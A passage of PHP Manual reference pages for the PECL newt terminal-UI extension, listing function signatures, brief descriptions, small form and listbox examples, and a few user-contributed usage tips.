This function is currently not documented; only its argument list is available.

Parameters

entry

flags

sense

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_entry_set_filter
newt_entry_set
Newt Functions


newt_entry_set_flags
newt_entry
Newt Functions
PHP Manual

newt_entry_set

(PECL newt >= 0.1)

newt_entry_set —

Description

void newt_entry_set ( resource $entry , string $value [, bool $cursor_at_end ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

entry

value

cursor_at_end

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_entry_set_flags
newt_entry
Newt Functions


newt_entry_set
newt_finished
Newt Functions
PHP Manual

newt_entry

(PECL newt >= 0.1)

newt_entry —

Description

resource newt_entry ( int $left , int $top , int $width [, string $init_value [, int $flags ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

width

init_value

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_entry_set
newt_finished
Newt Functions


Uninitializes newt interface

newt_entry
newt_form_add_component
Newt Functions
PHP Manual

newt_finished

(PECL newt >= 0.1)

newt_finished — Uninitializes newt interface

Description

int newt_finished ( void )

Uninitializes newt interface. This function be called, when program is ready to exit.

Return Values

Returns 1 on success, 0 on failure.

See Also

  • newt_init() - Initialize newt

User Contributed Notes

There are no user contributed notes for this page.
newt_entry
newt_form_add_component
Newt Functions


Adds a single component to the form

newt_finished
newt_form_add_components
Newt Functions
PHP Manual

newt_form_add_component

(PECL newt >= 0.1)

newt_form_add_component — Adds a single component to the form

Description

void newt_form_add_component ( resource $form , resource $component )

Adds a single component to the form.

Parameters

form

Form to which component will be added

component

Component to add to the form

Return Values

No value is returned.

Examples

Example #1 A newt_form_add_component() example

<?php
$form = newt_form();

$options = array("Authentication configuration", "Firewall configuration",
"Mouse configuration", "Network configuration", "Printer configuration",
"System services");

$list = newt_listbox(3, 2, 10);

foreach ($options as $l_item) {
    newt_listbox_add_entry($list, $l_item, $l_item);
}

newt_form_add_component($form, $list);
?>

See Also

  • newt_form_add_components() - Add several components to the form

User Contributed Notes

There are no user contributed notes for this page.
newt_finished
newt_form_add_components
Newt Functions


Add several components to the form

newt_form_add_component
newt_form_add_hot_key
Newt Functions
PHP Manual

newt_form_add_components

(PECL newt >= 0.1)

newt_form_add_components — Add several components to the form

Description

void newt_form_add_components ( resource $form , array $components )

Adds several components to the form.

Parameters

form

Form to which components will be added

components

Array of components to add to the form

Return Values

No value is returned.

Examples

Example #1 A newt_form_add_components() example

<?php
$form = newt_form();

$b1 = newt_button(5, 12, "Run Tool");
$b2 = newt_button(21, 12, "Quit");

newt_form_add_components($form, array($b1, $b2));
?>

See Also

  • newt_form_add_component() - Adds a single component to the form

User Contributed Notes

There are no user contributed notes for this page.
newt_form_add_component
newt_form_add_hot_key
Newt Functions


newt_form_add_components
newt_form_destroy
Newt Functions
PHP Manual

newt_form_add_hot_key

(PECL newt >= 0.1)

newt_form_add_hot_key —

Description

void newt_form_add_hot_key ( resource $form , int $key )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

key

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_form_add_components
newt_form_destroy
Newt Functions


Destroys a form

newt_form_add_hot_key
newt_form_get_current
Newt Functions
PHP Manual

newt_form_destroy

(PECL newt >= 0.1)

newt_form_destroy — Destroys a form

Description

void newt_form_destroy ( resource $form )

This function frees the memory resources used by the form and all of the components which have been added to the form (including those components which are on subforms). Once a form has been destroyed, none of the form's components can be used.

Parameters

form

Form component, which is going to be destroyed

Return Values

No value is returned.

See Also

  • newt_form_run() - Runs a form
  • newt_run_form() - Runs a form

User Contributed Notes

There are no user contributed notes for this page.
newt_form_add_hot_key
newt_form_get_current
Newt Functions


newt_form_destroy
newt_form_run
Newt Functions
PHP Manual

newt_form_get_current

(PECL newt >= 0.1)

newt_form_get_current —

Description

resource newt_form_get_current ( resource $form )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_form_destroy
newt_form_run
Newt Functions


Runs a form

newt_form_get_current
newt_form_set_background
Newt Functions
PHP Manual

newt_form_run

(PECL newt >= 0.1)

newt_form_run — Runs a form

Description

void newt_form_run ( resource $form , array &$exit_struct )

This function runs the form passed to it.

Parameters

form

Form component

exit_struct

Array, used for returning information after running the form component. Keys and values are described in the following table:

Form Exit Structure
Index Key | Value Type | Description
reason | integer | The reason, why the form has been exited. Possible values are defined here.
watch | resource | Resource link, specified in newt_form_watch_fd()
key | integer | Hotkey
component | resource | Component, which caused the form to exit

Return Values

No value is returned.

See Also

  • newt_run_form() - Runs a form

User Contributed Notes

There are no user contributed notes for this page.
newt_form_get_current
newt_form_set_background
Newt Functions


newt_form_run
newt_form_set_height
Newt Functions
PHP Manual

newt_form_set_background

(PECL newt >= 0.1)

newt_form_set_background —

Description

void newt_form_set_background ( resource $from , int $background )
Warning

This function is currently not documented; only its argument list is available.

Parameters

from

background

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_form_run
newt_form_set_height
Newt Functions


newt_form_set_background
newt_form_set_size
Newt Functions
PHP Manual

newt_form_set_height

(PECL newt >= 0.1)

newt_form_set_height —

Description

void newt_form_set_height ( resource $form , int $height )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

height

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_form_set_background
newt_form_set_size
Newt Functions


newt_form_set_height
newt_form_set_timer
Newt Functions
PHP Manual

newt_form_set_size

(PECL newt >= 0.1)

newt_form_set_size —

Description

void newt_form_set_size ( resource $form )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_form_set_height
newt_form_set_timer
Newt Functions


newt_form_set_size
newt_form_set_width
Newt Functions
PHP Manual

newt_form_set_timer

(PECL newt >= 0.1)

newt_form_set_timer —

Description

void newt_form_set_timer ( resource $form , int $milliseconds )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

milliseconds

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_form_set_size
newt_form_set_width
Newt Functions


newt_form_set_timer
newt_form_watch_fd
Newt Functions
PHP Manual

newt_form_set_width

(PECL newt >= 0.1)

newt_form_set_width —

Description

void newt_form_set_width ( resource $form , int $width )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

width

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_form_set_timer
newt_form_watch_fd
Newt Functions


newt_form_set_width
newt_form
Newt Functions
PHP Manual

newt_form_watch_fd

(PECL newt >= 0.1)

newt_form_watch_fd —

Description

void newt_form_watch_fd ( resource $form , resource $stream [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

stream

flags

Return Values

No value is returned.

User Contributed Notes

jakub dot holdys at fancyfon dot com 05-Nov-2009 02:46
There is no special function to remove FD from watch. When I closed stream added to be watch, my script hanged.
<?php newt_form_watch_fd($form, $old_fd, 0); ?> seems to be solution of this issue.
newt_form_set_width
newt_form
Newt Functions


Create a form

newt_form_watch_fd
newt_get_screen_size
Newt Functions
PHP Manual

newt_form

(PECL newt >= 0.1)

newt_form — Create a form

Description

resource newt_form ([ resource $vert_bar [, string $help [, int $flags ]]] )

Create a new form.

Parameters

vert_bar

Vertical scrollbar which should be associated with the form

help

Help text string

flags

Various flags

Return Values

Returns a resource link to the created form component, or FALSE on error.

Examples

Example #1 A newt_form() example

Displays a single button "Quit", which closes the application once it's pressed.

<?php
newt_init();
newt_cls();

$myform = newt_form();
$button = newt_button (5, 12, "Quit");

newt_form_add_component ($myform, $button);
newt_refresh ();
newt_run_form ($myform);

newt_finished ();
newt_form_destroy ($myform);
?>

See Also

  • newt_form_run() - Runs a form
  • newt_run_form() - Runs a form
  • newt_form_add_component() - Adds a single component to the form
  • newt_form_add_components() - Add several components to the form
  • newt_form_destroy() - Destroys a form

User Contributed Notes

There are no user contributed notes for this page.
newt_form_watch_fd
newt_get_screen_size
Newt Functions


Fills in the passed references with the current size of the terminal

newt_form
newt_grid_add_components_to_form
Newt Functions
PHP Manual

newt_get_screen_size

(PECL newt >= 0.1)

newt_get_screen_size — Fills in the passed references with the current size of the terminal

Description

void newt_get_screen_size ( int &$cols , int &$rows )

Fills in the passed references with the current size of the terminal.

Parameters

cols

Number of columns in the terminal

rows

Number of rows in the terminal

Return Values

No value is returned.

Examples

Example #1 A newt_get_screen_size() example

This code prints out the screen size of your terminal.

<?php
 newt_init();
 newt_get_screen_size (&$cols, &$rows);
 newt_finished();

 print "Your terminal size is: {$cols}x{$rows}\n";
?>

The above example will output:

Your terminal size is: 138x47

User Contributed Notes

frxstrem 28-Jul-2010 02:57
Note that this function **requires** you to manually pass by reference:

<?php

newt_init();

newt_get_screen_size($cols, $rows); // This won't work
# PHP Notice:  Undefined variable: cols in [file] on line 5
# PHP Notice:  Undefined variable: rows in [file] on line 5

newt_get_screen_size(&$cols, &$rows); // This, however, works fine

newt_finished();

?>
newt_form
newt_grid_add_components_to_form
Newt Functions


newt_get_screen_size
newt_grid_basic_window
Newt Functions
PHP Manual

newt_grid_add_components_to_form

(PECL newt >= 0.1)

newt_grid_add_components_to_form —

Description

void newt_grid_add_components_to_form ( resource $grid , resource $form , bool $recurse )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

form

recurse

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_get_screen_size
newt_grid_basic_window
Newt Functions


newt_grid_add_components_to_form
newt_grid_free
Newt Functions
PHP Manual

newt_grid_basic_window

(PECL newt >= 0.1)

newt_grid_basic_window —

Description

resource newt_grid_basic_window ( resource $text , resource $middle , resource $buttons )
Warning

This function is currently not documented; only its argument list is available.

Parameters

text

middle

buttons

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_grid_add_components_to_form
newt_grid_free
Newt Functions


newt_grid_basic_window
newt_grid_get_size
Newt Functions
PHP Manual

newt_grid_free

(PECL newt >= 0.1)

newt_grid_free —

Description

void newt_grid_free ( resource $grid , bool $recurse )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

recurse

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_grid_basic_window
newt_grid_get_size
Newt Functions


newt_grid_free
newt_grid_h_close_stacked
Newt Functions
PHP Manual

newt_grid_get_size

(PECL newt >= 0.1)

newt_grid_get_size —

Description

void newt_grid_get_size ( resouce $grid , int &$width , int &$height )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

width

height

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_grid_free
newt_grid_h_close_stacked
Newt Functions


newt_grid_get_size
newt_grid_h_stacked
Newt Functions
PHP Manual

newt_grid_h_close_stacked

(PECL newt >= 0.1)

newt_grid_h_close_stacked —

Description

resource newt_grid_h_close_stacked ( int $element1_type , resource $element1 [, int $... [, resource $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

element1_type

element1

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_grid_get_size
newt_grid_h_stacked
Newt Functions


newt_grid_h_close_stacked
newt_grid_place
Newt Functions
PHP Manual

newt_grid_h_stacked

(PECL newt >= 0.1)

newt_grid_h_stacked —

Description

resource newt_grid_h_stacked ( int $element1_type , resource $element1 [, int $... [, resource $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

element1_type

element1

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_grid_h_close_stacked
newt_grid_place
Newt Functions


newt_grid_h_stacked
newt_grid_set_field
Newt Functions
PHP Manual

newt_grid_place

(PECL newt >= 0.1)

newt_grid_place —

Description

void newt_grid_place ( resource $grid , int $left , int $top )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

left

top

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_grid_h_stacked
newt_grid_set_field
Newt Functions


newt_grid_place
newt_grid_simple_window
Newt Functions
PHP Manual

newt_grid_set_field

(PECL newt >= 0.1)

newt_grid_set_field —

Description

void newt_grid_set_field ( resource $grid , int $col , int $row , int $type , resource $val , int $pad_left , int $pad_top , int $pad_right , int $pad_bottom , int $anchor [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

col

row

type

val

pad_left

pad_top

pad_right

pad_bottom

anchor

flags

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_grid_place
newt_grid_simple_window
Newt Functions


newt_grid_set_field
newt_grid_v_close_stacked
Newt Functions
PHP Manual

newt_grid_simple_window

(PECL newt >= 0.1)

newt_grid_simple_window —

Description

resource newt_grid_simple_window ( resource $text , resource $middle , resource $buttons )
Warning

This function is currently not documented; only its argument list is available.

Parameters

text

middle

buttons

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_grid_set_field
newt_grid_v_close_stacked
Newt Functions


newt_grid_simple_window
newt_grid_v_stacked
Newt Functions
PHP Manual

newt_grid_v_close_stacked

(PECL newt >= 0.1)

newt_grid_v_close_stacked —

Description

resource newt_grid_v_close_stacked ( int $element1_type , resource $element1 [, int $... [, resource $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

element1_type

element1

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_grid_simple_window
newt_grid_v_stacked
Newt Functions


newt_grid_v_close_stacked
newt_grid_wrapped_window_at
Newt Functions
PHP Manual

newt_grid_v_stacked

(PECL newt >= 0.1)

newt_grid_v_stacked —

Description

resource newt_grid_v_stacked ( int $element1_type , resource $element1 [, int $... [, resource $... ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

element1_type

element1

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_grid_v_close_stacked
newt_grid_wrapped_window_at
Newt Functions


newt_grid_v_stacked
newt_grid_wrapped_window
Newt Functions
PHP Manual

newt_grid_wrapped_window_at

(PECL newt >= 0.1)

newt_grid_wrapped_window_at —

Description

void newt_grid_wrapped_window_at ( resource $grid , string $title , int $left , int $top )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

title

left

top

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_grid_v_stacked
newt_grid_wrapped_window
Newt Functions


newt_grid_wrapped_window_at
newt_init
Newt Functions
PHP Manual

newt_grid_wrapped_window

(PECL newt >= 0.1)

newt_grid_wrapped_window —

Description

void newt_grid_wrapped_window ( resource $grid , string $title )
Warning

This function is currently not documented; only its argument list is available.

Parameters

grid

title

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_grid_wrapped_window_at
newt_init
Newt Functions


Initialize newt

newt_grid_wrapped_window
newt_label_set_text
Newt Functions
PHP Manual

newt_init

(PECL newt >= 0.1)

newt_init — Initialize newt

Description

int newt_init ( void )

Initializes the newt interface. This function must be called before any other newt function.

Return Values

Returns 1 on success, 0 on failure.

See Also

  • newt_finished() - Uninitializes newt interface

User Contributed Notes

There are no user contributed notes for this page.
newt_grid_wrapped_window
newt_label_set_text
Newt Functions


newt_init
newt_label
Newt Functions
PHP Manual

newt_label_set_text

(PECL newt >= 0.1)

newt_label_set_text —

Description

void newt_label_set_text ( resource $label , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

label

text

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_init
newt_label
Newt Functions


newt_label_set_text
newt_listbox_append_entry
Newt Functions
PHP Manual

newt_label

(PECL newt >= 0.1)

newt_label —

Description

resource newt_label ( int $left , int $top , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

text

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_label_set_text
newt_listbox_append_entry
Newt Functions


newt_label
newt_listbox_clear_selection
Newt Functions
PHP Manual

newt_listbox_append_entry

(PECL newt >= 0.1)

newt_listbox_append_entry —

Description

void newt_listbox_append_entry ( resource $listbox , string $text , mixed $data )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

text

data

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_label
newt_listbox_clear_selection
Newt Functions


newt_listbox_append_entry
newt_listbox_clear
Newt Functions
PHP Manual

newt_listbox_clear_selection

(PECL newt >= 0.1)

newt_listbox_clear_selection —

Description

void newt_listbox_clear_selection ( resource $listbox )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox_append_entry
newt_listbox_clear
Newt Functions


newt_listbox_clear_selection
newt_listbox_delete_entry
Newt Functions
PHP Manual

newt_listbox_clear

(PECL newt >= 0.1)

newt_listbox_clear —

Description

void newt_listbox_clear ( resource $listobx )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listobx

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox_clear_selection
newt_listbox_delete_entry
Newt Functions


newt_listbox_clear
newt_listbox_get_current
Newt Functions
PHP Manual

newt_listbox_delete_entry

(PECL newt >= 0.1)

newt_listbox_delete_entry —

Description

void newt_listbox_delete_entry ( resource $listbox , mixed $key )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

key

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox_clear
newt_listbox_get_current
Newt Functions


newt_listbox_delete_entry
newt_listbox_get_selection
Newt Functions
PHP Manual

newt_listbox_get_current

(PECL newt >= 0.1)

newt_listbox_get_current —

Description

string newt_listbox_get_current ( resource $listbox )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

Return Values

User Contributed Notes

simon at bk dot it dot cx 08-Oct-2010 04:09
This function behaves a bit different than expected.
It doesn't return an string representing the chosen action, it returns an integer which is the index of the chosen action!
newt_listbox_delete_entry
newt_listbox_get_selection
Newt Functions


newt_listbox_get_current
newt_listbox_insert_entry
Newt Functions
PHP Manual

newt_listbox_get_selection

(PECL newt >= 0.1)

newt_listbox_get_selection —

Description

array newt_listbox_get_selection ( resource $listbox )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox_get_current
newt_listbox_insert_entry
Newt Functions


newt_listbox_get_selection
newt_listbox_item_count
Newt Functions
PHP Manual

newt_listbox_insert_entry

(PECL newt >= 0.1)

newt_listbox_insert_entry —

Description

void newt_listbox_insert_entry ( resource $listbox , string $text , mixed $data , mixed $key )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

text

data

key

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox_get_selection
newt_listbox_item_count
Newt Functions


newt_listbox_insert_entry
newt_listbox_select_item
Newt Functions
PHP Manual

newt_listbox_item_count

(PECL newt >= 0.1)

newt_listbox_item_count —

Description

int newt_listbox_item_count ( resource $listbox )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox_insert_entry
newt_listbox_select_item
Newt Functions


newt_listbox_item_count
newt_listbox_set_current_by_key
Newt Functions
PHP Manual

newt_listbox_select_item

(PECL newt >= 0.1)

newt_listbox_select_item —

Description

void newt_listbox_select_item ( resource $listbox , mixed $key , int $sense )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

key

sense

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox_item_count
newt_listbox_set_current_by_key
Newt Functions


newt_listbox_select_item
newt_listbox_set_current
Newt Functions
PHP Manual

newt_listbox_set_current_by_key

(PECL newt >= 0.1)

newt_listbox_set_current_by_key —

Description

void newt_listbox_set_current_by_key ( resource $listbox , mixed $key )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

key

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox_select_item
newt_listbox_set_current
Newt Functions


newt_listbox_set_current_by_key
newt_listbox_set_data
Newt Functions
PHP Manual

newt_listbox_set_current

(PECL newt >= 0.1)

newt_listbox_set_current —

Description

void newt_listbox_set_current ( resource $listbox , int $num )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

num

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox_set_current_by_key
newt_listbox_set_data
Newt Functions


newt_listbox_set_current
newt_listbox_set_entry
Newt Functions
PHP Manual

newt_listbox_set_data

(PECL newt >= 0.1)

newt_listbox_set_data —

Description

void newt_listbox_set_data ( resource $listbox , int $num , mixed $data )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

num

data

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox_set_current
newt_listbox_set_entry
Newt Functions


newt_listbox_set_data
newt_listbox_set_width
Newt Functions
PHP Manual

newt_listbox_set_entry

(PECL newt >= 0.1)

newt_listbox_set_entry —

Description

void newt_listbox_set_entry ( resource $listbox , int $num , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

num

text

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox_set_data
newt_listbox_set_width
Newt Functions


newt_listbox_set_entry
newt_listbox
Newt Functions
PHP Manual

newt_listbox_set_width

(PECL newt >= 0.1)

newt_listbox_set_width —

Description

void newt_listbox_set_width ( resource $listbox , int $width )
Warning

This function is currently not documented; only its argument list is available.

Parameters

listbox

width

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox_set_entry
newt_listbox
Newt Functions


newt_listbox_set_width
newt_listitem_get_data
Newt Functions
PHP Manual

newt_listbox

(PECL newt >= 0.1)

newt_listbox —

Description

resource newt_listbox ( int $left , int $top , int $height [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

height

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox_set_width
newt_listitem_get_data
Newt Functions


newt_listbox
newt_listitem_set
Newt Functions
PHP Manual

newt_listitem_get_data

(PECL newt >= 0.1)

newt_listitem_get_data —

Description

mixed newt_listitem_get_data ( resource $item )
Warning

This function is currently not documented; only its argument list is available.

Parameters

item

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_listbox
newt_listitem_set
Newt Functions


newt_listitem_get_data
newt_listitem
Newt Functions
PHP Manual

newt_listitem_set

(PECL newt >= 0.1)

newt_listitem_set —

Description

void newt_listitem_set ( resource $item , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

item

text

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_listitem_get_data
newt_listitem
Newt Functions


newt_listitem_set
newt_open_window
Newt Functions
PHP Manual

newt_listitem

(PECL newt >= 0.1)

newt_listitem —

Description

resource newt_listitem ( int $left , int $top , string $text , bool $is_default , resouce $prev_item , mixed $data [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

text

is_default

prev_item

data

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_listitem_set
newt_open_window
Newt Functions


Open a window of the specified size and position

newt_listitem
newt_pop_help_line
Newt Functions
PHP Manual

newt_open_window

(PECL newt >= 0.1)

newt_open_window — Open a window of the specified size and position

Description

int newt_open_window ( int $left , int $top , int $width , int $height [, string $title ] )

Open a window of the specified size and position.

Parameters

left

Location of the upper left-hand corner of the window (column number)

top

Location of the upper left-hand corner of the window (row number)

width

Window width

height

Window height

title

Window title

Return Values

Returns 1 on success, 0 on failure.

See Also

  • newt_pop_window() - Removes the top window from the display
  • newt_centered_window() - Open a centered window of the specified size

User Contributed Notes

There are no user contributed notes for this page.
newt_listitem
newt_pop_help_line
Newt Functions


Replaces the current help line with the one from the stack

newt_open_window
newt_pop_window
Newt Functions
PHP Manual

newt_pop_help_line

(PECL newt >= 0.1)

newt_pop_help_line — Replaces the current help line with the one from the stack

Description

void newt_pop_help_line ( void )

Replaces the current help line with the one from the stack.

Note:

It's important not to call to newt_pop_help_line() more than newt_push_help_line().

Return Values

No value is returned.

See Also

  • newt_push_help_line() - Saves the current help line on a stack, and displays the new line

User Contributed Notes

There are no user contributed notes for this page.
newt_open_window
newt_pop_window
Newt Functions


Removes the top window from the display

newt_pop_help_line
newt_push_help_line
Newt Functions
PHP Manual

newt_pop_window

(PECL newt >= 0.1)

newt_pop_window — Removes the top window from the display

Description

void newt_pop_window ( void )

Removes the top window from the display, and redraws the display areas which the window overwrote.

Return Values

No value is returned.

See Also

  • newt_open_window() - Open a window of the specified size and position
  • newt_centered_window() - Open a centered window of the specified size

User Contributed Notes

There are no user contributed notes for this page.
newt_pop_help_line
newt_push_help_line
Newt Functions


Saves the current help line on a stack, and displays the new line

newt_pop_window
newt_radio_get_current
Newt Functions
PHP Manual

newt_push_help_line

(PECL newt >= 0.1)

newt_push_help_line — Saves the current help line on a stack, and displays the new line

Description

void newt_push_help_line ([ string $text ] )

Saves the current help line on a stack, and displays the new line.

Parameters

text

New help text message

Note:

If not specified, the help line is cleared.

Return Values

No value is returned.

See Also

  • newt_pop_help_line() - Replaces the current help line with the one from the stack

User Contributed Notes

There are no user contributed notes for this page.
newt_pop_window
newt_radio_get_current
Newt Functions


newt_push_help_line
newt_radiobutton
Newt Functions
PHP Manual

newt_radio_get_current

(PECL newt >= 0.1)

newt_radio_get_current —

Description

resource newt_radio_get_current ( resource $set_member )
Warning

This function is currently not documented; only its argument list is available.

Parameters

set_member

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_push_help_line
newt_radiobutton
Newt Functions


newt_radio_get_current
newt_redraw_help_line
Newt Functions
PHP Manual

newt_radiobutton

(PECL newt >= 0.1)

newt_radiobutton —

Description

resource newt_radiobutton ( int $left , int $top , string $text , bool $is_default [, resource $prev_button ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

text

is_default

prev_button

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_radio_get_current
newt_redraw_help_line
Newt Functions


newt_radiobutton
newt_reflow_text
Newt Functions
PHP Manual

newt_redraw_help_line

(PECL newt >= 0.1)

newt_redraw_help_line —

Description

void newt_redraw_help_line ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_radiobutton
newt_reflow_text
Newt Functions


newt_redraw_help_line
newt_refresh
Newt Functions
PHP Manual

newt_reflow_text

(PECL newt >= 0.1)

newt_reflow_text —

Description

string newt_reflow_text ( string $text , int $width , int $flex_down , int $flex_up , int &$actual_width , int &$actual_height )
Warning

This function is currently not documented; only its argument list is available.

Parameters

text

width

flex_down

flex_up

actual_width

actual_height

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_redraw_help_line
newt_refresh
Newt Functions


Updates modified portions of the screen

newt_reflow_text
newt_resize_screen
Newt Functions
PHP Manual

newt_refresh

(PECL newt >= 0.1)

newt_refresh — Updates modified portions of the screen

Description

void newt_refresh ( void )

To increase performance, newt only updates the display when it needs to, not when the program tells it to write to the terminal. Applications can force newt to immediately update modified portions of the screen by calling this function.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_reflow_text
newt_resize_screen
Newt Functions


newt_refresh
newt_resume
Newt Functions
PHP Manual

newt_resize_screen

(PECL newt >= 0.1)

newt_resize_screen —

Description

void newt_resize_screen ([ bool $redraw ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

redraw

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_refresh
newt_resume
Newt Functions


Resume using the newt interface after calling newt_suspend

newt_resize_screen
newt_run_form
Newt Functions
PHP Manual

newt_resume

(PECL newt >= 0.1)

newt_resume — Resume using the newt interface after calling newt_suspend()

Description

void newt_resume ( void )

Resume using the newt interface after calling newt_suspend().

Return Values

No value is returned.

See Also

  • newt_suspend() - Tells newt to return the terminal to its initial state

User Contributed Notes

There are no user contributed notes for this page.
newt_resize_screen
newt_run_form
Newt Functions


Runs a form

newt_resume
newt_scale_set
Newt Functions
PHP Manual

newt_run_form

(PECL newt >= 0.1)

newt_run_form — Runs a form

Description

resource newt_run_form ( resource $form )

This function runs the form passed to it.

Parameters

form

Form component

Return Values

The component which caused the form to stop running.

Note:

Notice that this function doesn't fit in with newt's normal naming convention. It is an older interface which will not work for all forms. It was left in newt only for legacy applications. It is a simpler interface than the new newt_form_run() though, and is still used quite often as a result. When an application is done with a form, it destroys the form and all of the components the form contains.

See Also

  • newt_form_run() - Runs a form
  • newt_form_destroy() - Destroys a form

User Contributed Notes

There are no user contributed notes for this page.
newt_resume
newt_scale_set
Newt Functions


newt_run_form
newt_scale
Newt Functions
PHP Manual

newt_scale_set

(PECL newt >= 0.1)

newt_scale_set —

Description

void newt_scale_set ( resource $scale , int $amount )
Warning

This function is currently not documented; only its argument list is available.

Parameters

scale

amount

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_run_form
newt_scale
Newt Functions


newt_scale_set
newt_scrollbar_set
Newt Functions
PHP Manual

newt_scale

(PECL newt >= 0.1)

newt_scale —

Description

resource newt_scale ( int $left , int $top , int $width , int $full_value )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

width

full_value

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_scale_set
newt_scrollbar_set
Newt Functions


newt_scale
newt_set_help_callback
Newt Functions
PHP Manual

newt_scrollbar_set

(PECL newt >= 0.1)

newt_scrollbar_set —

Description

void newt_scrollbar_set ( resource $scrollbar , int $where , int $total )
Warning

This function is currently not documented; only its argument list is available.

Parameters

scrollbar

where

total

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_scale
newt_set_help_callback
Newt Functions


newt_scrollbar_set
newt_set_suspend_callback
Newt Functions
PHP Manual

newt_set_help_callback

(PECL newt >= 0.1)

newt_set_help_callback —

Description

void newt_set_help_callback ( mixed $function )
